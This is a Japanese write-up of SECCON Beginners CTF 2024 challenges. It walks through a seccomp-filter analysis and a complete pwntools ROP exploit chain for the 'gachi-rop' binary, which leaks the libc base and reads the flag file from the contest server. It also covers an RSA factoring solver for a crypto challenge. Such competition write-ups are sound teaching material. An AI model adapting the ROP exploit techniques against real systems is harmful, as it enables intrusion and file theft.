$ ./disassemble_cbpf_by_hand.py decode_code(code) = 'BPF_LD | BPF_W | BPF_ABS | BPF_JGT | BPF_K', jt = 00, jf = 00, k = 00000004 decode_code(code) = 'BPF_JMP | BPF_B | BPF_IMM | BPF_JEQ | BPF_K', jt = 00, jf = 05, k = c000003e decode_code(code) = 'BPF_LD | BPF_W | BPF_ABS | BPF_JGT | BPF_K', jt = 00, jf = 00, k = 00000000 decode_code(code) = 'BPF_JMP | BPF_B | BPF_ABS | BPF_JGE | BPF_K', jt = 03, jf = 00, k = 40000000 decode_code(code) = 'BPF_JMP | BPF_B | BPF_IMM | BPF_JEQ | BPF_K', jt = 02, jf = 00, k = 0000003b decode_code(code) = 'BPF_JMP | BPF_B | BPF_IMM | BPF_JEQ | BPF_K', jt = 01, jf = 00, k = 00000142 decode_code(code) = 'BPF_RET | BPF_W | BPF_IMM | BPF_JA | BPF_K', jt = 00, jf = 00, k = 7fff0000 decode_code(code) = 'BPF_RET | BPF_W | BPF_IMM | BPF_JA | BPF_K', jt = 00, jf = 00, k = 00050000 $
ビットの扱いが分かっていませんが、LinuxのBPF : (2) seccompでの利用 - 睡分不足記事のBPFフィルタープログラムと見比べてエスパーしました:
[0] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))) [1] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 0, 5) [2] = BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))) // nrはシステムコール番号 https://elixir.bootlin.com/linux/v5.7.1/source/include/uapi/linux/seccomp.h [3] = BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, 0x40000000, 3, 0) // 0x40000000の意味が分からず [4] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 59, 2, 0) // 59(=execve), system関数使えないらしい! [5] = BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 322, 1, 0) // 322(=execveat), 分かっていませんが多分execveの親戚でしょう [6] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW) // 許可 [7] = BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO) // 禁止
察するに、 sock_filter
の jt
, jf
メンバーは、InstructionPointerが sock_filter
を読み取って次の要素へ移動した後の相対移動量のようです。そのため jt
や jf
が0の場合は実質ジャンプしない分岐を表すようです。
結局、cBPF全体を通じて execve
システムコールや system
関数を防いでいるらしいことが分かりました。問題説明文の通りでone-gadgetを防いでいます!
ちなみに他の方のwrite-up SECCON Beginners CTF 2024 Writeup #Security - Qiita で知ったことなのですが、 david942j/seccomp-tools: Provide powerful tools for seccomp analysisを使うとcBPFをディアセンブルできます!
$ seccomp-tools --version SeccompTools Version 1.6.1 $ seccomp-tools dump ./gachi-rop line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007 0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007 0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00050000 return ERRNO(0) $
ROPで行うべきこと
ところでの話なのですが、 Dockerfile
に次の行があります:
(前略) WORKDIR /app COPY gachi-rop run COPY flag.txt /flag.txt RUN mkdir ctf4b RUN mv /flag.txt ctf4b/flag-$(md5sum /flag.txt | awk '{print $1}').txt (後略)
つまりコンテナ内部では flag.txt
ではなく flag-MD5ハッシュ値.txt
形式の名前に変更されています。また、置かれているディレクトリは /app/ctf4b/
以下です。
そのためROPでは次の2つのことを行う必要があります:
/app/ctf4b/
以下に存在するファイルを列挙して、ファイル名を出力すること- 得られたファイル名を使って
open
システムコールでFDを開き、read
システムコールでファイル内容を読み込み、write
システムコールで標準出力へ書き込むこと- reversingジャンルの
assemble
問題でまさにやったことです!
- reversingジャンルの
ファイル列挙の方法を strace ls /
で雑に調べると、次のようなシステムコールで実現できるようでした:
openat(AT_FDCWD, "/", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3 fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 getdents64(3, 0x56207cf287e0 /* 36 entries */, 32768) = 1000 getdents64(3, 0x56207cf287e0 /* 0 entries */, 32768) = 0 close(3) = 0
ROPガジェット探索
JonathanSalwan/ROPgadget: This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC, MIPS, RISC-V 64, and RISC-V Compressed architectures. を使って、 ROPgadget --binary libc.so.6 --nojop --depth 10 | grep -v jmp | grep -v call | grep -v retf | tee ropgadget_libc.txt
のようにlibcからROPガジェットを抽出して、テキストエディタや grep
コマンドで検索しました。
ただし ROPgadget
コマンドの場合、 syscall
命令をガジェット末尾として解釈するようでした。そのため syscall ; ret
ガジェットが存在するかどうか分かりませんでした。困ったのでlibcの syscall
関数中にある syscall
命令をガジェットに使いました:
.text:000000000011E88B syscall ; LINUX - .text:000000000011E88D cmp rax, 0FFFFFFFFFFFFF001h .text:000000000011E893 jnb short loc_11E896 .text:000000000011E895 retn .text:000000000011E896 ; --------------------------------------------------------------------------- .text:000000000011E896 .text:000000000011E896 loc_11E896: ; CODE XREF: syscall+23↑j .text:000000000011E896 mov rcx, cs:off_219E10 .text:000000000011E89D neg eax .text:000000000011E89F mov fs:[rcx], eax .text:000000000011E8A2 or rax, 0FFFFFFFFFFFFFFFFh .text:000000000011E8A6 retn
なお gachi-rop
側は GLIBC_2.34
製のようです。 glibc code reading ~なぜ俺達のglibcは後方互換を捨てたのか~ - HackMD に記載のある通り、glibc 2.34では __libc_csu_init
などが削除されているため、全然ROPガジェットがありません。
実装したソルバーと実行結果
あとは真っ当にROPへ起こして実行するだけ、と思ったのですが何個か困り事が起こりました:
- 最初はファイルの列挙に
getdents
システムコールを使おうと思っていたのですが、どうにもうまくいきませんでした。man 2 getdents
を見るとThese are not the interfaces you are interested in. Look at readdir(3) for the POSIX-conforming C library interface.
とありましたし、せっかくlibc全体があるので、opendir
関数やreaddir
関数を使うことにしました。- うまくいかなかったときのソースは消してしまいましたが、思い返せば「1要素だけ取得でいいので第3引数は1!」としてしまっていた気がします。しかし
man 2 getdents
を見ると、第3引数の引数名はcount
ですが、The argument count specifies the size of that buffer.
とあり、バイト単位のサイズを指定するのが正しいようです。おそらくそのことが原因です。
- うまくいかなかったときのソースは消してしまいましたが、思い返せば「1要素だけ取得でいいので第3引数は1!」としてしまっていた気がします。しかし
readdir
関数結果のstruct dirent *
からファイル名を取得するために、5番目のメンバーchar d_name[256]
のオフセットを知りたくなりました。Google検索等をしても見つからなかったので、printf("%d\n", offsetof(struct dirent, d_name))
するCコードを書いてコンパイル、実行して、19
らしいと分かりました。奇数オフセットとは珍しい……。- 「libc中なら潤沢にROPガジェットがあるはずなので何でもできる」と思っていましたが、
mov rdi, rax ; ret
などのレジスタ間の移動が想像以上に少なかったです。一方でxchg edi, eax ; ret
などの32-bitレジスタを対象にするガジェットはある程度ありました。今回の目的でレジスタ間移動させたい数値は次の2種類で、どちらも問題なかったことから32-bitレジスタのガジェットで誤魔化しました。opendir
関数結果のDIR*
値。ローカル環境で確かめると0x1c3d2a0
などの小さい値で、かつpwndbgのvmmap
コマンドで見るとヒープのアドレスのようでした。ASLRがあったとしても32-bitを超えるような激変はしないと仮定しました。open
システムコール結果のfd値。これは3
などの小さい値になるはずなので、32-bitで間違いなく足りるはずです。
ROPガジェットの命名規則は IUPAP Nomenclature of Pwnable - CTFするぞ を参考にしました。最終的なソルバーです:
#!/usr/bin/env python3 import os import pwn BIN_NAME = "./gachi-rop_patched" pwn.context.binary = BIN_NAME # pwn.context.log_level = "DEBUG" def solve(io): io.recvuntil(b"system@") addr_system = int(io.recvline().decode(), 16) print(f"{addr_system = : 08x}") # chall = pwn.ELF(BIN_NAME, checksec=False) # 使いませんでした libc = pwn.ELF("libc.so.6", checksec=False) libc.address = addr_system - libc.symbols["system"] print(f"{libc.address = : 08x}") addr_writable = 0x404060 # BSS分含めて、0x4040E0までの128バイトを書き込めるはず # ROPgadgetで探索 rop_syscall = ( libc.address + 0x000000000011E88B ) # syscall関数のもの、実際は直後に「cmp rax, 0FFFFFFFFFFFFF001h」と「jnb short loc_11E896」が続く rop_pop_rax = libc.address + 0x0000000000045EB0 rop_pop_rdi = libc.address + 0x000000000002A3E5 rop_pop_rsi = libc.address + 0x000000000002BE51 rop_pop_rdx_r12 = libc.address + 0x000000000011F2E7 # pop rdx単独がなかった rop_mov_rax_prax = libc.address + 0x000000000014A1CC # mov rax, qword ptr [rax] rop_mov_prdx_rax = libc.address + 0x000000000003A410 # mov qword ptr [rdx], rax rop_mov_prax_rdx = libc.address + 0x0000000000039BF7 # mov [rax], rdx rop_add_rax_rdx = libc.address + 0x000000000007D2EA # add rax, rdx rop_xchg_edi_eax = libc.address + 0x000000000014A1B5 # xchg edi, eax rop_ret = libc.address + 0x0000000000029139 # ret # retアドレスまでの埋めもの payload = b"A" * 0x18 # open # 「ls /app/ctf4b」相当のことをしたい # まずはパスの準備 payload += pwn.flat([rop_pop_rax, addr_writable]) payload += pwn.flat([rop_pop_rdx_r12, b"/app/ctf", 0xDEADBEEF]) payload += pwn.flat([rop_mov_prax_rdx]) payload += pwn.flat([rop_pop_rax, addr_writable + 8]) payload += pwn.flat([rop_pop_rdx_r12, b"4b/\x00\x00\x00\x00\x00", 0xDEADBEEF]) payload += pwn.flat([rop_mov_prax_rdx]) payload += pwn.flat([rop_pop_rdi, addr_writable]) payload += pwn.flat([rop_ret, libc.symbols["opendir"]]) # スタック位置調整が必要 # 繰り返し使うので保存しておきます payload += pwn.flat([rop_pop_rdx_r12, addr_writable, 0xDEADBEEF]) payload += pwn.flat([rop_mov_prdx_rax]) for i in range(3): # ファイル数は ".", "..", フラグの3個 # readdir payload += pwn.flat([rop_pop_rax, addr_writable]) payload += pwn.flat([rop_mov_rax_prax]) payload += pwn.flat([rop_xchg_edi_eax]) payload += pwn.flat([libc.symbols["readdir"]]) # 取得した内容を表示したい # offsetof(struct dirent, d_name) == 19 # 取得結果は4バイトに収まると信じてexxレジスタを使います payload += pwn.flat([rop_pop_rdx_r12, 19, 0xDEADBEEF]) payload += pwn.flat([rop_add_rax_rdx]) payload += pwn.flat([rop_xchg_edi_eax]) payload += pwn.flat([rop_ret, libc.symbols["puts"]]) payload += pwn.flat([rop_pop_rax, addr_writable]) payload += pwn.flat([rop_mov_rax_prax]) payload += pwn.flat([rop_xchg_edi_eax]) payload += pwn.flat([libc.symbols["closedir"]]) # ファイルパスが「/app/ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt」と分かったので後はそれを読み込む # ファイルパスの準備 payload += pwn.flat([rop_pop_rax, addr_writable + 0x00]) payload += pwn.flat([rop_pop_rdx_r12, b"/app/ctf", 0xDEADBEEF]) payload += pwn.flat([rop_mov_prax_rdx]) payload += pwn.flat([rop_pop_rax, addr_writable + 0x08]) payload += pwn.flat([rop_pop_rdx_r12, b"4b/flag-", 0xDEADBEEF]) payload += pwn.flat([rop_mov_prax_rdx]) payload += pwn.flat([rop_pop_rax, addr_writable + 0x10]) payload += pwn.flat([rop_pop_rdx_r12, b"40ff81b2", 0xDEADBEEF]) payload += pwn.flat([rop_mov_prax_rdx]) payload += pwn.flat([rop_pop_rax, addr_writable + 0x18]) payload += pwn.flat([rop_pop_rdx_r12, b"9993c8fc", 0xDEADBEEF]) payload += pwn.flat([rop_mov_prax_rdx]) payload += pwn.flat([rop_pop_rax, addr_writable + 0x20]) payload += pwn.flat([rop_pop_rdx_r12, b"02dbf404", 0xDEADBEEF]) payload += pwn.flat([rop_mov_prax_rdx]) payload += pwn.flat([rop_pop_rax, addr_writable + 0x28]) payload += pwn.flat([rop_pop_rdx_r12, b"eddaf143", 0xDEADBEEF]) payload += pwn.flat([rop_mov_prax_rdx]) payload += pwn.flat([rop_pop_rax, addr_writable + 0x30]) payload += pwn.flat([rop_pop_rdx_r12, b".txt\x00\x00\x00\x00", 0xDEADBEEF]) payload += pwn.flat([rop_mov_prax_rdx]) # 1 open payload += pwn.flat([rop_pop_rdi, addr_writable]) payload += pwn.flat([rop_pop_rsi, os.O_RDONLY]) payload += pwn.flat([rop_pop_rax, pwn.constants.SYS_open]) payload += pwn.flat([rop_syscall]) # 2 read READ_SIZE = 64 payload += pwn.flat([rop_xchg_edi_eax]) payload += pwn.flat([rop_pop_rsi, addr_writable]) payload += pwn.flat([rop_pop_rdx_r12, READ_SIZE, 0xDEADBEEF]) payload += pwn.flat([rop_pop_rax, pwn.constants.SYS_read]) payload += pwn.flat([rop_syscall]) # 3 write payload += pwn.flat([rop_pop_rdi, pwn.constants.STDOUT_FILENO]) payload += pwn.flat([rop_pop_rsi, addr_writable]) payload += pwn.flat([rop_pop_rdx_r12, READ_SIZE, 0xDEADBEEF]) payload += pwn.flat([rop_pop_rax, pwn.constants.SYS_write]) payload += pwn.flat([rop_syscall]) # コピペ兼exit用 payload += pwn.flat([rop_pop_rax, pwn.constants.SYS_exit]) payload += pwn.flat([rop_pop_rdi, 0]) payload += pwn.flat([rop_pop_rsi, 0]) payload += pwn.flat([rop_pop_rdx_r12, 0, 0xDEADBEEF]) payload += pwn.flat([rop_syscall]) payload += pwn.flat([]) assert b"\n" not in payload io.sendlineafter(b"Name: ", payload) io.recvline_contains(b"Hello, gachi-rop-") print(io.recvall().decode()) with pwn.remote("gachi-rop.beginners.seccon.games", 4567) as io: solve(io) COMMAND = """ b *0x4012A1 continue """ # with pwn.gdb.debug(BIN_NAME, COMMAND) as io: # solve(io)
実行しました:
$ ./solve.py [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' [*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/gachi-rop/gachi-rop_patched' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'.' [+] Opening connection to gachi-rop.beginners.seccon.games on port 4567: Done addr_system = 7feb86b26d70 [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' libc.address = 7feb86ad6000 [+] Receiving all data: Done (111B) [*] Closed connection to gachi-rop.beginners.seccon.games port 4567 flag-40ff81b29993c8fc02dbf404eddaf143.txt . .. ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}04eddaf143.txt\x00\x00\x00\x005\x00\x03\x00\x00\x00\x00@ $
最後のフラグ読み込み先領域としてファイルパス領域を使いまわしているためファイルパスの一部が残っていますが、ともかくフラグを入手できました: ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}
なお、libcが読み込まれるアドレスは、ASLRにより実行ごとに変化します。使っているいずれかのROPガジェットに偶然 0x0a (== "\n")
バイトが入ると assert
で実行に失敗します。試した範囲では大体は成功して、たまに失敗するくらいでした。
この問題が解けるまでに5時間弱かかりました。筋肉は大事です!
私は全部ROPでやりましたが他の方のwrite-upを見ると、 gets
関数を併用してファイルパスを後で送り込んでいたり、 mprotect
でスタックを実行可能にしてシェルコードを直接実行していたりしました。いろいろな方法があるのですね。
ある程度進められたけど解けなかった問題
[crypto, easy] math (119 teams solved, 93 points)
RSA暗号に用いられる変数に特徴的な条件があるようですね...?
配布ファイルとして、問題本体のchal.py
と、実質的な内容がすべてREDUCTEDなsecret.py
、出力のoutput.txt
がありました:
from Crypto.Util.number import bytes_to_long, isPrime from secret import ( x, p, q, ) # x, p, q are secret values, please derive them from the provided other values. import gmpy2 def is_square(n: int): return gmpy2.isqrt(n) ** 2 == n assert isPrime(p) assert isPrime(q) assert p != q a = p - x b = q - x assert is_square(x) and is_square(a) and is_square(b) n = p * q e = 65537 flag = b"ctf4b{dummy_f14g}" mes = bytes_to_long(flag) c = pow(mes, e, n) print(f"n = {n}") print(f"e = {e}") print(f"cipher = {c}") print(f"ab = {a * b}") # clews of factors assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0 assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
output.txt
に含まれる ab
の数値をfactordb.comで検索すると (3 · 173 · 199 · 306606827773 · 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 · 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169) ^ 2
であることが分かりました。ここで素因数6個のうち後ろ2つは chall.py
最後の # clews of factors
箇所で登場しています。
しばらく考えて、次の方針を思いつきました:
- 数式を変形します:
a = p - x
からp = a + x
です。b = q - x
からq = b + x
です。p = a + x
とq = b + x
を掛けてpq = n = ab + (a+b)x + x^2
を得ます。- 更に式変形して
x^2 + (a+b)x + ab - n = 0
を得ます。ここでの未知数はa
,b
,x
の3個です。
a
もb
も平方数であるため、ab
の素因数6個のうち最初4個をa
とb
のどちらかに割り振るか全探索できます。組み合わせの数は2**4 = 16
通りです。a
とb
の割り当てが決まると、上の方程式の未知数がx
だけとなり、x
の二次方程式となるため求根できます。- 求めた
x
が平方数になればp
,q
を計算できて、暗号文を復号できます。
sagemathを使うので、この問題だけはUbuntu 22.04を使いました。ソルバーを書きました:
#!/usr/bin/env sage # output.txt内容 n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289 e = 65537 cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474 ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289 mod_a = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 mod_b = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 assert mod_a.is_prime() assert mod_b.is_prime() assert ab % mod_a == 0 assert ab % mod_b == 0 assert (3 * 173 * 199 * 306606827773 * mod_b * mod_a) ** 2 == ab # ax^2 + bx + c = 0 def roots_of_quadratic_equation(a, b, c): x = var("x") s = solve((a * x * x) + (b * x) + c == 0, x) # print(s) return s def try_solve(a, b): assert (a * b) % mod_a == 0 assert (a * b) % mod_b == 0 assert (a * b) == ab # print(f"{a = }") # print(f"{b = }") (x1, x2) = roots_of_quadratic_equation(1, a + b, a * b - n) # 試したら、16通りのうち整数解が得られるのは1通りだけで、かつそのうち正の数はx1側だけでした # solve結果(sage.symbolic.expression.Expression型)からintへ変換する方法がわからなかったので、直接割り当てています…… x1 = 10221013321700464817330531356688256100 p = x1 + a q = x1 + b print(f"{p = }") print(f"{q = }") # print(f"{p*q = }") if p * q != n: return False print("OK!!!!!!!!") d = pow(e, -1, (p - 1) * (q - 1)) m = pow(cipher, d, n) print(int(m).to_bytes(128, "big")) factors = [3, 173, 199, 306606827773] for i in range(2 ** len(factors)): current_a = mod_a current_b = mod_b for j, f in enumerate(factors): if (i & (1 << j)) != 0: current_a *= f else: current_b *= f if (current_a * current_b) ** 2 == ab: try_solve(current_a**2, current_b**2)
実行しました:
$ sage --version SageMath version 9.5, Release Date: 2022-01-30 $ ./solve.sage p = 22106132303123168384133263859383830799281194460397075723417381178678338247179865229411628654335184934851567144692653218349774407842215067101728077186356547448509480760166108254166749079029140271667602428339018990692925169465886863300793640859701032008688853339527329798303040779380732189309462376362661 q = 1282357422056944411614313419348653105357124633991702798284527656530870359500914302021080331442633567266170076674464054991639740819010633098033561248993853328935042380517066092136587255211506962481662293164084965160148406574238827753083093822647538671782645670169874263517694507498246360221986141450162059507984949 (中略) p = 7878824508023825320620552438859131751341011236435661361507465408511567856339128586549369157062948927445512194472763840898824746924636029850659802261912150719575815528250042476759316872507696855084778513881881419453874766724167271062172560745165185117184785529887592443232472500519042763719576401549059555549 q = 3597993939706753790208197378148848949822043309769682578959924290719006420996423496659961817582141773260972861724771414278651046463502978594910794197098988322222621708534481711002211659109357402539392364289580131703038942827590851390068976436194200123404980430263753899372174547820641396504020048511503939261 OK!!!!!!!! b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}' (後略)
何かと雑ですが、フラグを入手できました: ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}
さて、もしかしたら考察やソルバーまで一直線に向かっているように見えるかもしれませんが、実はドハマリしていました。理由は、 x
の二次方程式を解いた結果が、直接 p
, q
になると何故か思い込んでいたからです。本当になぜ……。終了3分前に誤りに気付いて、終了20秒前に平文の10進数表現を出せて、終了40秒後に long_to_bytes
結果のフラグ文字列を得られました。寝ぼけまなこな状態で考察や実装をするものではないですね……。
感想
- 奮闘できました!
- reversingジャンルは、x86-ELFの慣れ親しんでいるmedium, hard問題が取っ掛かりやすくて、アセンブリ言語を直接書く必要があるbeginner問題や、LLVMアセンブリソースを扱うeasy問題の方がある意味苦労しました。
- 各ジャンルに入門向け問題があるので、色々なジャンルに手を出しやすいのがありがたいです。